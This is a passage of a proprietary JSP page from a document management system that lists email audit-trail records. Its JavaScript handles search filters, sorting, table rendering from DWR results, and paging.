<%
/*
 * @(#)ListDmsEmailAuditTrail.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsEmailAuditTrail.jsp

  This is a ListDmsEmailAuditTrail page.  It shows the System User Defined Index in EIP.

    @author             barbin
    @company            DCIVision Ltd
    @creation date      13/09/2006
    @version            $Revision: 1.17.2.12 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.audit.bean.*" %>
<%@ page import="com.dcivision.audit.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>

<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsAuditTrailForm" scope="request" class="com.dcivision.dms.web.ListDmsAuditTrailForm"/>
<jsp:useBean id="listDmsEmailAuditTrailForm" scope="request" class="com.dcivision.dms.web.ListDmsEmailAuditTrailForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "listDmsEmailAuditTrailForm";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.label.email_audit_trail.email_type", "EMAIL_TYPE"},
                            {"dms.label.email_audit_trail.email_user", "EMAIL_USERID"},
                            {"dms.label.email_audit_trail.email_to", "EMAIL_TO"},
                            {"dms.label.email_audit_trail.email_subject", "EMAIL_SUBJECT"},
                            {"dms.label.email_audit_trail.email_sentdate", "EMAIL_SENTDATE"},
                            {"dms.label.email_audit_trail.email_attchment", GlobalConstant.NOT_AVAILABLE}
                          };
  String[][] OPERATION_SEARCH_MAP = {
                           {"dms.label.email_audit_trail.operation.email_archive", EmailAuditTrailConstant.OPERATION_EMAIL_ARCHIVE},
                           {"dms.label.email_audit_trail.operation.email_journaling", EmailAuditTrailConstant.OPERATION_EMAIL_JOURNALING},
                           {"dms.label.email_audit_trail.operation.email_document", EmailAuditTrailConstant.OPERATION_EMAIL_DOCUMENT},
                           {"dms.label.email_audit_trail.operation.external_document_invitation", EmailAuditTrailConstant.OPERATION_EXTERNAL_DOCUMENT_INVITATION}       
                          };

  String[][] EMAIL_TYPE_MAP = {
                          {"dms.label.email_audit_trail.email_type.inbound",EmailAuditTrailConstant.EMAIL_TYPE_INBOUND},
                          {"dms.label.email_audit_trail.email_type.outbound",EmailAuditTrailConstant.EMAIL_TYPE_OUTBOUND}
                         };

  String[][] SENTDATE_MAP = {
    {"dms.label.email_audit_trail.email_sentdate.specific_date","specificDate"},
    {"dms.label.email_audit_trail.email_sentdate.today","today"},
    {"dms.label.email_audit_trail.email_sentdate.yesterday","yesterday"},
    {"dms.label.email_audit_trail.email_sentdate.this_week","thisWeek"},
    {"dms.label.email_audit_trail.email_sentdate.last_week","lastWeek"},
    {"dms.label.email_audit_trail.email_sentdate.2week_before","2WeekBefore"},
    {"dms.label.email_audit_trail.email_sentdate.3week_before","3WeekBefore"},
    {"dms.label.email_audit_trail.email_sentdate.last_month","lastMonth"},
    {"dms.label.email_audit_trail.email_sentdate.2month_before","2MonthBefore"}
  };
  String pageFlag = "listDmsEamilAuditTrail";

  //get max display page size
  int m_nMaxPageItems = TextUtility.parseInteger(SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_OFF_SET));

  String appPath = SystemParameterFactory
						.getSystemParameter(SystemParameterConstant.APPLICATION_BASE_URL);

%>

<script type="text/javascript" src="<%=request.getContextPath()%>/dwr/interface/DmsEmailAuditTrail.js"></script>
<script type="text/javascript" src="<%=request.getContextPath()%>/dwr/engine.js"></script>

<script type="text/javascript">
var dlg;
function init(e) {
  dlg = dojo.widget.byId("showDetail");
}
dojo.addOnLoad(init);

</script>
<script language="javascript">

var operation,user,from,to,cc,bcc,subject,attchment,emailtype,sentdate,secdate; 
var argsArray = "";
var searchArray = new Array();
var seacrhValueCount = 0;
var seacrhValue = "<table><tr><td width='20'>&nbsp;</td><td>Filtered by :</td><td>sent day = today</td><tr></table>";
var searchColumn = "sentDate";
<!--

//generate pdf file
function printReport(){
   var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
	 var transactionDate = "";
   var branchCode      = "";
   var url = "<%=request.getContextPath()%>/dms/PrintPDFReportServlet?argsArray="+argsArray+"&transactionDate="+transactionDate+"&branchCode="+branchCode;
   var appWin = window.open(url, "DCIVisionCheckList", sOptions);
   appWin.focus();


   //appWin.close();
   return false;
}

//show search condition value
function ShowSearchConditions(condition){
  var search = condition;

  // show operation search condition this condition only show once
  if(search == "operation"){
    if(operation != "true"){
      operation = "true";
      searchColumn = "operation";
      searchArray[0] = "operation";
      seacrhValueCount++;
      document.getElementById("operation").style["display"]="";
      document.getElementById("cancel").style["display"]="";
      document.getElementById("operationCheck").innerHTML="<bean:message key="dms.label.email_audit_trail.operation"/>";
    }
  }

  // show picker user search condition this condition only show once
  if(search == "user"){
    if(user != "true"){
      user = "true";
      searchColumn = "userid";
      seacrhValueCount++;
      searchArray[1] = "userid";
      document.getElementById("userid").style["display"]="";
      document.getElementById("cancel").style["display"]="";
      document.getElementById("userCheck").innerHTML="<bean:message key="dms.label.email_audit_trail.email_user"/>";
    }
  }

  // show email from search condition this condition only show once
  if(search == "from"){
    if(from != "true"){
      from = "true";
      searchColumn = "emailFrom";
      searchArray[2] = "emailFrom";
      seacrhValueCount++;
      document.getElementById("emailFrom").style["display"]="";
      document.getElementById("cancel").style["display"]="";
      document.getElementById("fromCheck").innerHTML="<bean:message key="dms.label.email_audit_trail.email_from"/>";
    }
  }

  // show email to search condition this condition only show once
  if(search == "to"){
    if(to != "true"){
      to = "true";
      searchColumn = "emailTo";
      searchArray[3] = "emailTo";
      seacrhValueCount++;
      document.getElementById("emailTo").style["display"]="";
      document.getElementById("cancel").style["display"]="";
      document.getElementById("toCheck").innerHTML="<bean:message key="dms.label.email_audit_trail.email_to"/>";
    }
  }

  //show email cc search condition this condition show only once
  if(search == "cc"){
    if(cc != "true"){
      cc = "true";
      searchColumn = "emailCc";
      searchArray[4] = "emailCc";
      seacrhValueCount++;
      document.getElementById("emailCc").style["display"]="";
      document.getElementById("cancel").style["display"]="";
      document.getElementById("ccCheck").innerHTML="<bean:message key="dms.label.email_audit_trail.email_cc"/>";
    }
  }

  // show email bcc search condition this condition show only once
  if(search == "bcc"){
    if(bcc != "true"){
      bcc = "true";
      searchColumn = "emailBcc";
      searchArray[5] = "emailBcc";
      seacrhValueCount++;
      document.getElementById("emailBcc").style["display"]="";
      document.getElementById("cancel").style["display"]="";
      document.getElementById("bccCheck").innerHTML="<bean:message key="dms.label.email_audit_trail.email_bcc"/>";
    }
  }

  // show email subject search condition this condition show only once
  if(search == "subject"){
    if(subject != "true"){
      subject = "true";
      searchColumn = "emailSubject";
      searchArray[6] = "emailSubject"
      seacrhValueCount++;
      document.getElementById("emailSubject").style["display"]="";
      document.getElementById("cancel").style["display"]="";
      document.getElementById("subjectCheck").innerHTML="<bean:message key="dms.label.email_audit_trail.email_subject"/>";
    }
  }

  // show email attchment Name search condition this condition show only once
  if(search == "attchment"){
    if(attchment != "true"){
      attchment = "true";
      searchColumn = "attchName";
      searchArray[7] = "attchName";
      seacrhValueCount++;
      document.getElementById("attchName").style["display"]="";
      document.getElementById("cancel").style["display"]="";
      document.getElementById("attchmentCheck").innerHTML="<bean:message key="dms.label.email_audit_trail.email_attchment_name"/>";
    }
  }

  // show email type(inbound /outbound) search condition . and this condition show only once
  if(search == "type"){
    if(emailtype != "true"){
     emailtype = "true";
     searchColumn = "emailType";
     searchArray[8] = "emailType";
     seacrhValueCount++;
     document.getElementById("emailType").style["display"]="";
     document.getElementById("cancel").style["display"]="";
     document.getElementById("typeCheck").innerHTML="<bean:message key="dms.label.email_audit_trail.email_type"/>";
    }
  }

  // show email sentdate time  search condition. and this condition show only two times
  if(search == "sentdate"){
    if(sentdate != "true"){
      searchColumn = "sentDate";
      sentdate = "true";
      secdate = "true";
      searchArray[9] = "sentDate";
      seacrhValueCount++;
      document.getElementById("sentDate").style["display"]="";
      document.getElementById("cancel").style["display"]="";
	  document.getElementById("date").style["display"]="none"
    }else if(secdate == "true"){
	  searchArray[10] = "secondDate";
      seacrhValueCount++;
      document.getElementById("secondDate").style["display"]="";
	  document.getElementById("date1").style["display"]="none";
      document.getElementById("sentdateCheck").innerHTML="<bean:message key="dms.label.email_audit_trail.email_sentdate"/>";   
    }
  }
  
}

//cancel
function clanceCondition(search){
  if (search=="cancel")
  {
  //cancel all condition search
   //cancel 
    searchColumn = "sentDate";
    seacrhValueCount = "0";
    document.getElementById("emailType").style["display"]="none";
    emailtype = null;
    listDmsEmailAuditTrailForm.emailType.value = "";
    listDmsEmailAuditTrailForm.typeSearchType.value = "";
    document.getElementById("typeCheck").innerHTML=
    "<a href='#' onclick='return ShowSearchConditions(\"type\")'>"+
    "<bean:message key='dms.label.email_audit_trail.email_type'/></a>";

 //cancel subject
    document.getElementById("emailSubject").style["display"]="none";
    document.getElementById("subjectCheck").innerHTML=
    "<a href='#' onclick='return ShowSearchConditions(\"subject\")'>"+
    "<bean:message key='dms.label.email_audit_trail.email_subject'/></a>";
    subject = null;
    listDmsEmailAuditTrailForm.emailSubject.value = "";
    
  //cancel operation
    document.getElementById("operation").style["display"]="none";
    document.getElementById("operationCheck").innerHTML=
    "<a href='#' onclick='return ShowSearchConditions(\"operation\")'>"+
    "<bean:message key='dms.label.email_audit_trail.operation'/></a>";
    operation = null;
    listDmsEmailAuditTrailForm.operation.value = "";
    listDmsEmailAuditTrailForm.operationSearchType.value = "";
    document.getElementById("userid").style["display"]="none";

 //cancel user
    document.getElementById("userCheck").innerHTML=
    "<a href='#' onclick='return ShowSearchConditions(\"user\")'>"+
    "<bean:message key='dms.label.email_audit_trail.email_user'/></a>";
    user = null;
    listDmsEmailAuditTrailForm.userid.value = "";
    listDmsEmailAuditTrailForm.dummy_userid.value = "";
    listDmsEmailAuditTrailForm.userSearchType.value = "";

 //cancel from
    document.getElementById("emailFrom").style["display"]="none";
    document.getElementById("fromCheck").innerHTML=
    "<a href='#' onclick='return ShowSearchConditions(\"from\")'>"+
    "<bean:message key='dms.label.email_audit_trail.email_from'/></a>";
    from = null;
    listDmsEmailAuditTrailForm.emailFrom.value = "";
    listDmsEmailAuditTrailForm.fromSearchType.value = "";

  //cancel to
    document.getElementById("emailTo").style["display"]="none";
    document.getElementById("toCheck").innerHTML=
    "<a href='#' onclick='return ShowSearchConditions(\"to\")'>"+
    "<bean:message key='dms.label.email_audit_trail.email_to'/></a>";
    to = null;
    listDmsEmailAuditTrailForm.emailTo.value = "";
    listDmsEmailAuditTrailForm.toSearchType.value = "";

  //cancel emailcc 
    document.getElementById("emailCc").style["display"]="none";
    document.getElementById("ccCheck").innerHTML=
    "<a href='#' onclick='return ShowSearchConditions(\"cc\")'>"+
    "<bean:message key='dms.label.email_audit_trail.email_cc'/></a>";
    cc = null;
    listDmsEmailAuditTrailForm.emailCc.value = "";
    listDmsEmailAuditTrailForm.ccSearchType.value = "";

   //cance emailbcc
    document.getElementById("emailBcc").style["display"]="none";
    document.getElementById("bccCheck").innerHTML=
    "<a href='#' onclick='return ShowSearchConditions(\"bcc\")'>"+
    "<bean:message key='dms.label.email_audit_trail.email_bcc'/></a>";
    bcc = null;
    listDmsEmailAuditTrailForm.emailBcc.value = "";
    listDmsEmailAuditTrailForm.bccSearchType.value = "";

   //cance attchName
    document.getElementById("attchName").style["display"]="none";
    document.getElementById("attchmentCheck").innerHTML=
    "<a href='#' onclick='return ShowSearchConditions(\"attchment\")'>"+
    "<bean:message key='dms.label.email_audit_trail.email_attchment_name'/></a>";
    attchment = null;
    listDmsEmailAuditTrailForm.attchName.value = "";
    listDmsEmailAuditTrailForm.attchNameSearchType.value = "";

   //cancel sentdate
    document.getElementById("sentDate").style["display"]="none";
    sentdate = null;
    listDmsEmailAuditTrailForm.sentDate.value = "";
    listDmsEmailAuditTrailForm.sentDateSearchType.value = "";
    listDmsEmailAuditTrailForm.sentDateValue.value = "";
	listDmsEmailAuditTrailForm.dummy_sentDate.value= "";
    document.getElementById("sentdateCheck").innerHTML=
    "<a href='#' onclick='return ShowSearchConditions(\"sentdate\")'>"+
    "<bean:message key='dms.label.email_audit_trail.email_sentdate'/></a>";
    document.getElementById("secondDate").style["display"]="none";
    listDmsEmailAuditTrailForm.secondDate.value = "";
    listDmsEmailAuditTrailForm.secondDateSearchType.value = "";
    listDmsEmailAuditTrailForm.secondDateValue.value = "";
	listDmsEmailAuditTrailForm.dummy_secondDate.value= "";
    //document.getElementById("cancel").style["display"]="none";
    
  }else {

  //cancel search condition value
 
    document.getElementById(search).style["display"]="none";
    if(search == "showDetail"){
      dlg.hide();
       document.getElementsByTagName("body")[0].scroll="yes";
    }
    if(search == "operation"){
      document.getElementById("operationCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"operation\")'>"+
      "<bean:message key='dms.label.email_audit_trail.operation'/></a>";
      operation = null;
      listDmsEmailAuditTrailForm.operation.value = "";
      listDmsEmailAuditTrailForm.operationSearchType.value = "";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
      searchArray[0] = null; 
    }
    if(search == "userid"){
      user = null;
      listDmsEmailAuditTrailForm.userid.value = "";
      listDmsEmailAuditTrailForm.userSearchType.value = "";
      listDmsEmailAuditTrailForm.dummy_userid.value = "";
      document.getElementById("userCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"user\")'>"+
      "<bean:message key='dms.label.email_audit_trail.email_user'/></a>";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
      searchArray[1] = null;
    }
    if(search == "emailFrom"){
      from = null;
      listDmsEmailAuditTrailForm.emailFrom.value = "";
      listDmsEmailAuditTrailForm.fromSearchType.value = "";
      document.getElementById("fromCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"from\")'>"+
      "<bean:message key='dms.label.email_audit_trail.email_from'/></a>";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
      searchArray[2] = null;
    }
    if(search == "emailTo"){
      to = null;
      listDmsEmailAuditTrailForm.emailTo.value = "";
      listDmsEmailAuditTrailForm.toSearchType.value = "";
      document.getElementById("toCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"to\")'>"+
      "<bean:message key='dms.label.email_audit_trail.email_to'/></a>";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
      searchArray[3] = null;
    }
    if(search == "emailCc"){
      cc = null;
      listDmsEmailAuditTrailForm.emailCc.value = "";
      listDmsEmailAuditTrailForm.ccSearchType.value = "";
      document.getElementById("ccCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"cc\")'>"+
      "<bean:message key='dms.label.email_audit_trail.email_cc'/></a>";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
      searchArray[4] = null;
    }
    if(search == "emailBcc"){
      bcc = null;
      listDmsEmailAuditTrailForm.emailBcc.value = "";
      document.getElementById("bccCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"bcc\")'>"+
      "<bean:message key='dms.label.email_audit_trail.email_bcc'/></a>";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
      
     searchArray[5] = null;
    }
    if(search == "attchName"){
      attchment = null;
      listDmsEmailAuditTrailForm.attchName.value = "";
      listDmsEmailAuditTrailForm.attchNameSearchType.value = "";
      document.getElementById("attchmentCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"attchment\")'>"+
      "<bean:message key='dms.label.email_audit_trail.email_attchment_name'/></a>";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
      searchArray[7] = null;
    }
    if(search == "emailSubject"){
      subject = null;
      listDmsEmailAuditTrailForm.emailSubject.value = "";
      listDmsEmailAuditTrailForm.subjectSearchType.value = "";
      document.getElementById("subjectCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"subject\")'>"+
      "<bean:message key='dms.label.email_audit_trail.email_subject'/></a>";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
      searchArray[6] = null;
    }
    if(search == "emailType"){
      emailtype = null;
      listDmsEmailAuditTrailForm.emailType.value = "";
      listDmsEmailAuditTrailForm.typeSearchType.value = "";
      document.getElementById("typeCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"type\")'>"+
      "<bean:message key='dms.label.email_audit_trail.email_type'/></a>";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
      searchArray[8] = null;
    }
    if(search == "sentDate"){
      sentdate = null;
      listDmsEmailAuditTrailForm.sentDate.value = "";
      listDmsEmailAuditTrailForm.sentDateValue.value = "";
      listDmsEmailAuditTrailForm.sentDateSearchType.value = "";
	  listDmsEmailAuditTrailForm.dummy_sentDate.value= "";
      document.getElementById("sentdateCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"sentdate\")'>"+
      "<bean:message key='dms.label.email_audit_trail.email_sentdate'/></a>";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
      
     searchArray[9] = null;
    }
    if(search == "secondDate"){
      listDmsEmailAuditTrailForm.secondDate.value = "";
      listDmsEmailAuditTrailForm.secondDateValue.value = "";
      listDmsEmailAuditTrailForm.secondDateSearchType.value = "";
	  listDmsEmailAuditTrailForm.dummy_secondDate.value= "";
      document.getElementById("sentdateCheck").innerHTML=
      "<a href='#' onclick='return ShowSearchConditions(\"sentdate\")'>"+
      "<bean:message key='dms.label.email_audit_trail.email_sentdate'/></a>";
      if(seacrhValueCount != "0"){
        seacrhValueCount--;
      }
	  searchArray[10] = null;
    }
  }
  
}

//show or not show condition
var isShow = false;
function showSearch(){
  if(!isShow){
    isShow = true;
    document.getElementById("filter").style["display"]="";
    document.getElementById("searchValue").style["display"]="none";
  }else{
    isShow = false;
    var k = 0;
    var value = "";
    for(var i=0; i<searchArray.length; i++){
      if(searchArray[i]!=null){
        k++;
        value += searchArray[i];
      }
    }
    if(k==1){
      searchColumn = value;
    }
    document.getElementById("filter").style["display"]="none";
    document.getElementById("searchValue").style["display"]="";
    if(seacrhValueCount=="1"){
      var column = "<bean:message key='dms.label.email_audit_trail.email_sentdate.today'/>"
      var columnCondition = "=";
      var columnConditionValue = "today";
      if(searchColumn == "operation"){
        columnCondition = document.listDmsEmailAuditTrailForm.operationSearchType.value;
        columnConditionValue = document.listDmsEmailAuditTrailForm.operation.value;
        column = "<bean:message key='dms.label.email_audit_trail.operation'/>"
      }
      if(searchColumn == "userid"){
        columnCondition = document.listDmsEmailAuditTrailForm.userSearchType.value;
        columnConditionValue = document.listDmsEmailAuditTrailForm.dummy_userid.value;
        column = "<bean:message key='dms.label.email_audit_trail.email_user'/>"
      }
      if(searchColumn == "emailFrom"){
        columnCondition = document.listDmsEmailAuditTrailForm.fromSearchType.value;
        columnConditionValue = document.listDmsEmailAuditTrailForm.emailFrom.value;
        column = "<bean:message key='dms.label.email_audit_trail.email_from'/>"
      }
      if(searchColumn == "emailTo"){
        columnCondition = document.listDmsEmailAuditTrailForm.toSearchType.value;
        columnConditionValue = document.listDmsEmailAuditTrailForm.emailTo.value;
        column = "<bean:message key='dms.label.email_audit_trail.email_to'/>"
      }
      if(searchColumn == "emailCc"){
        columnCondition = document.listDmsEmailAuditTrailForm.ccSearchType.value;
        columnConditionValue = document.listDmsEmailAuditTrailForm.emailCc.value;
        column = "<bean:message key='dms.label.email_audit_trail.email_cc'/>"
      }
      if(searchColumn == "emailBcc"){
        columnCondition = document.listDmsEmailAuditTrailForm.bccSearchType.value;
        columnConditionValue = document.listDmsEmailAuditTrailForm.emailBcc.value;
        column = "<bean:message key='dms.label.email_audit_trail.email_bcc'/>"
      }
	  if(searchColumn == "emailSubject"){
	    columnCondition = document.listDmsEmailAuditTrailForm.subjectSearchType.value;
        columnConditionValue = document.listDmsEmailAuditTrailForm.emailSubject.value;
        column = "<bean:message key='dms.label.email_audit_trail.email_subject'/>"
	  }
      if(searchColumn == "sentDate"){
        columnCondition = document.listDmsEmailAuditTrailForm.sentDateSearchType.value;
        if(document.listDmsEmailAuditTrailForm.sentDateValue.value == "specificDate"){
          columnConditionValue = document.listDmsEmailAuditTrailForm.sentDate.value;
        }else{
          columnConditionValue = document.listDmsEmailAuditTrailForm.sentDateValue.value;
        }
        
        column = "<bean:message key='dms.label.email_audit_trail.email_sentdate'/>"
      }
	   if(searchColumn == "secondDate"){

        columnCondition = document.listDmsEmailAuditTrailForm.secondDateSearchType.value;
        if(document.listDmsEmailAuditTrailForm.secondDateValue.value == "specificDate"){
          columnConditionValue = document.listDmsEmailAuditTrailForm.secondDate.value;
        }else{
          columnConditionValue = document.listDmsEmailAuditTrailForm.secondDateValue.value;
        }
        
        column = "<bean:message key='dms.label.email_audit_trail.email_sentdate'/>"
      }
      if(searchColumn == "emailType"){
        columnCondition = document.listDmsEmailAuditTrailForm.typeSearchType.value;
        columnConditionValue = document.listDmsEmailAuditTrailForm.emailType.value;
        if(columnConditionValue == "O"){
          columnConditionValue = "<bean:message key='dms.label.email_audit_trail.email_type.outbound'/>";
        }
        if(columnConditionValue == "I"){
          columnConditionValue = "<bean:message key='dms.label.email_audit_trail.email_type.inbound'/>";
        }
        column = "<bean:message key='dms.label.email_audit_trail.email_type'/>";
      }
      if(searchColumn == "attchName"){
        columnCondition = document.listDmsEmailAuditTrailForm.attchNameSearchType.value;
        columnConditionValue = document.listDmsEmailAuditTrailForm.attchName.value;
        column = "<bean:message key='dms.label.email_audit_trail.email_attchment_name'/>"
      }
      if(columnCondition == "LIKE"){
        columnCondition = "Contains";
      }
      seacrhValue = "<table><tr><td width='20'>&nbsp;</td><td>Filtered by :</td><td>"+column+"&nbsp;&nbsp;"+columnCondition+"&nbsp;&nbsp;"+columnConditionValue+"</td><tr></table>";
      document.getElementById("searchValue").innerHTML = seacrhValue;
    }else if( seacrhValueCount == "0"){
      document.getElementById("searchValue").innerHTML="<table><tr><td width='20'>&nbsp;</td><td></td><td></td><tr></table>";
    }else{
      document.getElementById("searchValue").innerHTML="<table><tr><td width='20'>&nbsp;</td><td>Filtered by :</td><td>Criteria</td><tr></table>";
    }
  }
}

//sort
function orderList(column,sortOrder){
 listDmsEmailAuditTrailForm.sortAttribute.value=column;
 listDmsEmailAuditTrailForm.sortOrder.value = sortOrder;
 listDmsEmailAuditTrailForm.curStartRowNo.value= "1";
 getSearchResult(listDmsEmailAuditTrailForm,'sort');
}

function searchList(frm,type){
  listDmsEmailAuditTrailForm.curStartRowNo.value= "1";
  getSearchResult(listDmsEmailAuditTrailForm,type);
}
var newOrder = "DESC";

//show sort column��
function title(sortAttribute,sortOrder){
  var titleArr =  new Array(
    "<bean:message key='dms.label.email_audit_trail.email_type'/>", 
    "<bean:message key='dms.label.email_audit_trail.email_user'/>", 
    "<bean:message key='dms.label.email_audit_trail.email_to'/>",
    "<bean:message key='dms.label.email_audit_trail.email_subject'/>",
    "<bean:message key='dms.label.email_audit_trail.email_sentdate'/>",
    "<bean:message key='dms.label.email_audit_trail.email_attchment'/>"
    );

  var sortArray = new Array("EMAIL_TYPE","USER_ID","EMAIL_TO","EMAIL_SUBJECT","SENT_DATE","ATTCH_COUNT");
   if(sortAttribute == "EMAIL_TYPE"){
     sortAttribute = "<bean:message key='dms.label.email_audit_trail.email_type'/>";
   }
   if(sortAttribute == "USER_ID"){
     sortAttribute = "<bean:message key='dms.label.email_audit_trail.email_user'/>";
   }
   if(sortAttribute == "EMAIL_TO"){
    sortAttribute = "<bean:message key='dms.label.email_audit_trail.email_to'/>";
   }
   if(sortAttribute == "EMAIL_SUBJECT"){
     sortAttribute = "<bean:message key='dms.label.email_audit_trail.email_subject'/>";
   }
   if(sortAttribute == "SENT_DATE"){
     sortAttribute = "<bean:message key='dms.label.email_audit_trail.email_sentdate'/>";
   }
   if(sortAttribute == "ATTCH_COUNT"){
     sortAttribute = "<bean:message key='dms.label.email_audit_trail.email_attchment'/>";
   }
   var str ="";
   if(sortOrder == 'DESC'){
    newOrder = "ASC";
   }
   else{
    newOrder = "DESC";
   }
   str += "<tr>";
    for (var i=0;i<titleArr.length;i++ ) {
        if (titleArr[i]==sortAttribute) {
          str += "<td height='30' class='mainName' background='<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/LayoutTableHeaderBlue.gif'><b><a href='#' onclick='return orderList(\""+sortArray[i]+"\",\""+newOrder+"\")'>";
          if (sortOrder=='DESC') {   
            str += "<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconPagerSortDesc.gif\" align=\"absmiddle\" border=\"0\">";
          }else {
            str += "<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconPagerSortAsc.gif\" align=\"absmiddle\" border=\"0\">";
          }
          
          str += titleArr[i]+"</a></b></td>";
      }else {
        str += "<td height='30' class='mainName' background='<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/LayoutTableHeaderBlue.gif'><b><a href='#' onclick='return orderList(\""+sortArray[i]+"\",\""+newOrder+"\")'>"+titleArr[i]+"</a></b></td>";
      }
  }
    str += "</tr>";
    return str;
}

//use dwr .get the result data��
function complete(content){
  var frm = document.listDmsEmailAuditTrailForm;
  var worklistTable = document.getElementById("data"); 
  var total_records=0;
  var listRecord = "";
  for(var i=0;i<content.length;i++){
    var tempStr=content[i].replace(/null/g,"-");
    var data = tempStr.split("|");
    total_records=parseInt(data[0]);
    var typeRecord = "<td class='normaltext'>";
    var typeValue = data[3];
    if(typeValue == "I"){
      typeRecord += "<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/priority_minor.gif\" align=\"absmiddle\" border=\"0\"></td>";
    }else if(typeValue == "O"){
      typeRecord += "<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/priority_major.gif\" align=\"absmiddle\" border=\"0\"></td>";
    }else{
       typeRecord += "No Record!</td>";
    }
    var title1 = title(data[15],data[16]);

    var userNameRecord = "<td class='normaltext'>"+data[4]+"</td>";
    var to = data[7];
    if(to.length>30){
      to = to.substring(0,30)+"...";
    }
    var subject = data[10];
    if(subject.length>30){
      subject = subject.substring(0,25)+"...";
    }
    var ccValue = data[8];
    ccValue = ccValue.replace(/'|"/g,"");
    var subjectVale = data[10];
	subjectVale = subjectVale.replace(/"/g,"");
    subjectVale = subjectVale.replace(/'/g,"&acute;");
	
    var toValue = data[7];
    toValue = toValue.replace(/'|"/g,"");
    var fromValue = data[6];
    fromValue = fromValue.replace(/'|"/g,"");
    var bccValue = data[9];
    bccValue = bccValue.replace(/'|"/g,"");
    var attchValue = data[12];
    attchValue = attchValue.replace(/"/g,"");
	attchValue = attchValue.replace(/'/g,"&acute;");
    attchValue = attchValue.replace(/\\/g,"\\\\");
    var emailToRecord = "<td class='normaltext'>"+to+"</td>";
    var subjectRecord = "<td class='normaltext'>"+subject+"</td>"
    var sentDateRecord = "<td class='normaltext'>"+data[11]+"</td>"
    var attchCountRecord = "<td class='normaltext'>"+data[13]+"</td>"
    
    var trRecord;
    if(typeValue =="I" || typeValue == "O"){
      trRecord = "<tr  onclick='return showDetail(\""+data[3]+"\",\""+data[5]+"\",\""+data[4]+"\",\""+fromValue+"\",\""+toValue+"\",\""+ccValue+"\",\""+bccValue+"\",\""+subjectVale.replace(/"/g,'&quot;')+"\",\""+data[11]+"\",\""+attchValue+"\")'>"+typeRecord+userNameRecord+emailToRecord+subjectRecord+sentDateRecord+attchCountRecord+"</tr>";
    }else{
      trRecord = "<tr>"+typeRecord+userNameRecord+emailToRecord+subjectRecord+sentDateRecord+attchCountRecord+"</tr>";
    }

    listRecord += trRecord;
  }
  var searchTitle = "</table>"
  document.getElementById("data").innerHTML = "<div id=\"dataGrid\" class=\"listTable\"><table>"+title1+listRecord+searchTitle;

  //page
  var m_nMaxPageItems = <%=m_nMaxPageItems%>;
  var total_pages = parseInt((total_records+m_nMaxPageItems-1)/m_nMaxPageItems);
  if(total_pages==0){
    total_pages=1;
  }
  var laststartRow = (total_pages-1)*m_nMaxPageItems+1;
  var curPage=parseInt((frm.curStartRowNo.value-1)/m_nMaxPageItems)+1;
  var pagerIndexSpan = document.getElementById("pagerIndex");
  var pageIndexHtml="Page ";
   if(curPage>1){
